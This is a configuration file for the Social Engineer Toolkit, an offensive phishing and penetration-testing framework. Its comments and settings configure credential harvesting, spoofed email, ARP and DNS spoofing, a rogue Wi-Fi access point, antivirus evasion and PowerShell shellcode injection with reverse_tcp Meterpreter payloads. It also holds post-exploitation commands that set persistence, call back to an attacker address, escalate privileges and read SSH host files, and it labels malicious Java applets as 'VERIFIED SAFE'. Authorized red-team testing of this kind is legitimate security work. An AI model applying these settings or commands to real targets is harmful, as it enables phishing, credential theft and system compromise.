social-engineer-toolkit/config/set_config

##################################################################################################
##################################################################################################
##					                                                							##
## The following config file will allow you to customize settings within            			##
## the Social Engineer Toolkit. The lines that do not have comment code				            ##
## ("#") are the fields you want to toy with. They are pretty easy to			            	##
## understand.											                                        ##
##												                                                ##
## The Metasploit path is the default path for where Metasploit is located.			            ##
## Metasploit is required for SET to function properly.						                    ##
##												                                                ##
## The ETTERCAP function specifies if you want to use ARP Cache poisoning in			        ##
## conjunction with the web attacks, note that ARP Cache poisoning is only			            ##
## for internal subnets only and does not work against people on the internet.			        ##
##												                                                ##
## The SENDMAIL option allows you to spoof source IP addresses utilizing an			            ##
## application called SendMail. Sendmail is NOT installed by default on BackTrack5.		        ##
## To spoof email addresses when performing the mass email attacks, you must 			        ## 
## install Sendmail manually using: apt-get install sendmail					                ##
##												                                                ##
## Note that ETTERCAP and SENDMAIL flags only accept ON or OFF switches.			            ##
##												                                                ##
## Note that the Metasploit_PATH cannot have a / after the folder name.				            ##
##												                                                ##
## There are additional options, read the comments for additional descriptions.		            ##
##											                                                    ##
##################################################################################################
##################################################################################################
#
### Define the path to MetaSploit, for example: /pentest/exploits/framework3 
METASPLOIT_PATH=/opt/metasploit/apps/pro/msf3
#
### This will tell what database to use when using the MetaSploit functionality. Default is PostgreSQL
METASPLOIT_DATABASE=postgresql
#
### How many times SET should encode a payload if you are using standard MetaSploit encoding options
ENCOUNT=4
#
### If this options i set, the MetaSploit payloads will automatically migrate to
### notepad once the applet is executed. This is beneficial if the victim closes
### the browser, however can introduce buggy results when auto migrating.
### NOTE: This will make bypassuac not work properly. Migrate to a different process to get it to work.
AUTO_MIGRATE=OFF
#
### Custom exe you want to use for MetaSploit encoding, this usually has better av
### detection. Currently it is set to legit.binary which is just calc.exe. An example
### you could use would be putty.exe so this field would be /pathtoexe/putty.exe
CUSTOM_EXE=legit.binary
#
### This is for the backdoored executable if you want to keep the executable to still work. Normally
### when legit.binary is used, it will render the application useless. Specifying this will keep the
### application working
BACKDOOR_EXECUTION=ON
#
### Here we can run multiple meterpreter scripts once a session is active. This
### may be important if we are sleeping and need to run persistence, try to elevate
### permissions and other tasks in an automated fashion. First turn this trigger on
### then configure the flags. Note that you need to separate the commands by a ; 
METERPRETER_MULTI_SCRIPT=OFF
LINUX_METERPRETER_MULTI_SCRIPT=OFF
#
### What commands do you want to run once a meterpreter session has been established.
### Be sure if you want multiple commands to separate with a ;. For example you could do
### run getsystem;run hashdump;run persistence to run three different commands
METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem
LINUX_METERPRETER_MULTI_COMMANDS=uname;id;cat ~/.ssh/known_hosts
#
### This is the port that is used for the iFrame injection using the metasploit browser attacks.
### By default this port is 8080 however egress filtering may block this. May want to adjust to
### something like 21 or 53
METASPLOIT_IFRAME_PORT=8080
#
### Define to use Ettercap or not when using website attack only - set to ON and OFF
ETTERCAP=OFF
#
### Ettercap home directory (needed for DNS_spoof)
ETTERCAP_PATH=/usr/share/ettercap
#
### Specify what interface you want ettercap or DSNiff to listen on, if nothing will default
ETTERCAP_INTERFACE=eth0
#
### Define to use dsniff or not when using website attack only - set to on and off
### If dsniff is set to on, ettercap will automatically be disabled.
DSNIFF=OFF
#
### Auto detection of IP address interface utilizing Google, set this ON if you want
AUTO_DETECT=OFF
#
### SendMail ON or OFF for spoofing email addresses
SENDMAIL=OFF
#
### Email provider list supports GMail, Hotmail, and Yahoo. Simply change it to the provider you want.
EMAIL_PROVIDER=GMAIL
#
### Set to ON if you want to use Email in conjunction with webattack
WEBATTACK_EMAIL=OFF
#
### Web attack time delay between emails default is 1 second
TIME_DELAY_EMAIL=1
#
### Man Left In The Middle port, this will be used for the web server bind port
MLITM_PORT=80
#
### Use Apache instead of the standard Python web server. This will increase the speed
### of the attack vector.
APACHE_SERVER=OFF
#
### Path to the Apache web root
APACHE_DIRECTORY=/var/www
#
### Specify what port to run the http server off of that serves the java applet attack
### or metasploit exploit. Default is port 80. This also goes if you are using apache_server equal on.
### You need to specify what port Apache is listening on in order for this to work properly.
WEB_PORT=80
#
### Create self-signed Java applets and spoof publisher note this requires you to
### install --->  Java 6 JDK, BT5 or Ubuntu users: apt-get install openjdk-6-jdk
### If this is not installed it will not work. Can also do: apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=OFF
#
### This flag will set the java id flag within the java applet to something different.
### This could be to make it look more believable or for better obfuscation
JAVA_ID_PARAM=Trusted Java Applet (VERIFIED SAFE)
#
### Java applet repeater option will continue to prompt the user with the java applet if
### the user hits cancel. This means it will be non stop until run is executed. This gives
### a better success rate for the Java applet attack
JAVA_REPEATER=OFF
#
### Java repeater timing which is the delay it takes between the user hitting cancel to
### when the next Java applet runs. Be careful setting to low as it will spawn them over
### and over even if they hit run. 200 equals 2 seconds.
JAVA_TIME=200
#
### Turn on ssl certificates for set secure communications through web_attack vector
WEBATTACK_SSL=OFF
#
### Path to the pem file to utilize certificates with the web attack vector (required)
### You can create your own utilizing set, just turn on self_signed_cert
### If your using this flag, ensure openssl is installed! To turn this on turn SELF_SIGNED_CERT
### to the on position.
SELF_SIGNED_CERT=OFF
#
### Below is the client/server (private) cert, this must be in pem format in order to work
### Simply place the path you want. For example /root/ssl_client/server.pem
PEM_CLIENT=/root/newcert.pem
PEM_SERVER=/root/newreq.pem
#
### Tweak the web jacking time used for the iFrame replace, sometimes it can be a little slow
### and harder to convince the victim. 5000 = 5 seconds
WEBJACKING_TIME=2000
#
### Command center interface to bind to by default it is localhost only. If you want to enable it
### so you can hit the command center remotely put the interface to 0.0.0.0 to bind to all interfaces.
COMMAND_CENTER_INTERFACE=127.0.0.1
#
### Port for the command center
COMMAND_CENTER_PORT=44444
#
### This will remove the set interactive shell from the menu selection. The SET payloads are large in nature
### and things like the pwniexpress need smaller set builds
SET_INTERACTIVE_SHELL=ON
#
### What do you want to use for your default terminal within the command center. The default is xterm
### the options you have are as follow - gnome, konsole, xterm, solo. If you select solo it will place
### all results in the same shell you used to open the set-web interface. This is useful if your using
### something that only has one console, such as an iPhone or iPad.
TERMINAL=SOLO
#
### Digital signature stealing method must have the pefile Python modules loaded
### from http://code.google.com/p/pefile/. Be sure to install this before turning
### this flag on!!! This flag gives much better AV detection
DIGITAL_SIGNATURE_STEAL=OFF
#
### These two options will turn the upx packer to on and automatically attempt
### to pack the executable which may evade anti-virus a little better.
UPX_ENCODE=OFF
UPX_PATH=/usr/bin/upx
#
### This feature will turn on or off the automatic redirection. By default for example in multi-attack
### the site will redirect once one successful attack is used. Some people may want to use Java applet
### and credential harvester for example.
AUTO_REDIRECT=ON
#
### This will redirect the harvester victim to this website once executed and not to the original website.
### For example if you clone abcompany.com and below it says blahblahcompany.com, it will redirect there instead.
### THIS IS USEFUL IF YOU WANT TO REDIRECT THE VICTIM TO AN ADDITIONAL SITE AFTER HARVESTER HAS TAKEN THE CREDENTIALS.
### SIMPLY TURN HARVESTER REDIRECT TO ON THEN ENTER HTTP://WEBSITEOFYOURCHOOSING.COM IN THE HARVESTER URL BELOW 
### TO CHANGE.
HARVESTER_REDIRECT=OFF
HARVESTER_URL=http://thishasnotbeenset
#
### This will allow you to specify where the harvester log file goes when using APACHE and specifying it to ON.
### By default this will be in the /var/www/ directory.
HARVESTER_LOG=/var/www
#
### This feature will auto embed a img src tag to a unc path of your attack machine.
### Useful if you want to intercept the half lm keys with rainbowtables. What will happen
### is as soon as the victim clicks the web-page link, a unc path will be initiated
### and the metasploit capture/smb module will intercept the hash values.
UNC_EMBED=OFF
#
### This feature will attempt to turn create a rogue access point and redirect victims back to the
### set web server when associated. airbase-ng and dnsspoof.
ACCESS_POINT_SSID=linksys
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng
DNSSPOOF_PATH=/usr/local/sbin/dnsspoof
#
### This will configure the default channel that the wireless access point attack broadcasts on through wifi
### communications.
AP_CHANNEL=9
#
### This will enable the powershell shellcode injection technique with each java applet. It will be used as
### a second form in case the first method fails.
POWERSHELL_INJECTION=ON
#
### This will allow you to change the Metasploit payload to whatever you want based on the powershell alphanumeric
### injection attack. Specify this if POWERSHELL INJECTION is set to ON and you want to change it from the standard
### reverse_tcp attack. NOTE: payloads need to be specific to operating system i.e. x64 and x86
POWERSHELL_INJECT_PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp
POWERSHELL_INJECT_PAYLOAD_X86=windows/meterpreter/reverse_tcp
#
### THIS OPTION WILL SPRAY MULTIPLE PORTS THROUGH POWERSHELL IN A HOPE TO GET A PORT OUTBOUND. 
### NOTE THAT POWERSHELL INJECTION MUST BE SET TO ON.
POWERSHELL_MULTI_INJECTION=ON
#
### THIS WILL SPECIFY WHICH PORTS TO ITERATE THROUGH TO DO THE POWERSHELL INJECTION. NOTE IF YOU ARE USING SET
### PORT 80 IS USED BY THE WEB SERVER. THE REST OF PORTS SHOULD BE OPEN. CONSIDER IF YOU WANT TO USE PORT 80 TO
### PLACE THE LISTENER ON A DIFFERENT SERVER.
POWERSHELL_MULTI_PORTS=22,53,443,21,25,8080
#
### This will display the output of the powershell injection attack so you can see what is being placed on the
### system.
POWERSHELL_VERBOSE=OFF
#
### This will profile the victim machine and check for installed versions and report back on them
### note this is currently disabled. Development is underway on this feature
WEB_PROFILER=OFF
#
### Port numbers for the java applet attack linux/osx attacks, reverse payloads
DEPLOY_OSX_LINUX_PAYLOADS=OFF
OSX_REVERSE_PORT=8080
LINUX_REVERSE_PORT=8081
#
### User agent string for when using anything that clones the website, this user agent will be used
USER_AGENT_STRING=Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
#
### The way the set interactive shell works is it first deploys a stager payload that pulls an additional executable.
### The downloader is currently being picked up by a/v and is actually somewhat hard to obfuscate because it does 
### similar characteristics of a download/exec. If you turn this feature on, set will download the interactive shell
### straight without using the stager. Only issue with this is there may be a delay on the user end however still 
### shouldn't be noticed
SET_SHELL_STAGER=OFF
#
### Disables automatic listener - turn this off if you don't want a metasploit listener in the background.
AUTOMATIC_LISTENER=ON
#
### This will disable the functionality if metasploit is not installed and you just want to use setoolkit or ratte for payloads
### or the other attack vectors.
METASPLOIT_MODE=ON
#
### THIS WILL TURN OFF DEPLOYMENT OF BINARIES FOR THE JAVA APPLET ATTACK AND ONLY USE THE POWERSHELL METHOD. 
### NOTE THAT POWERSHELL_INJECTION MUST BE SET TO ON
DEPLOY_BINARIES=YES
#
### THIS IS FOR DEBUG PURPOSES ONLY. THIS WILL REMOVE THE CLEANUP FUNCTIONALITY WITHIN SET TO DEBUG FILE STATES
CLEANUP_ENABLED_DEBUG=OFF
#
### WHEN SENDING EMAILS OUT, SET WILL ADD A URL AND KEEP TRACK OF THE EMAIL ADDRESSES ON EACH UNIQUE LINK. THIS WILL HELP YOU FIND
### WHO CLICKED ON THE LINK AND FROM WHAT PERSON / EMAIL ADDRESS WAS USED. THIS WORKS ON ALL WEB-BASED ATTACKS AND SPEAR-PHISHING.
### 
### NOTE: IN ORDER FOR THIS TO WORK YOU MUST ENABLE WEBATTACK_EMAIL and APACHE_SERVER TO ON.
TRACK_EMAIL_ADDRESSES=OFF
#
### THIS ALLOWS YOU TO TURN A DNS SERVER ON IN SET. ALL RESPONSES WILL REDIRECT TO THE SET INSTANCE WHICH CAN LAUNCH ATTACK VECTORS
DNS_SERVER=OFF
#
#######################################################################################################################################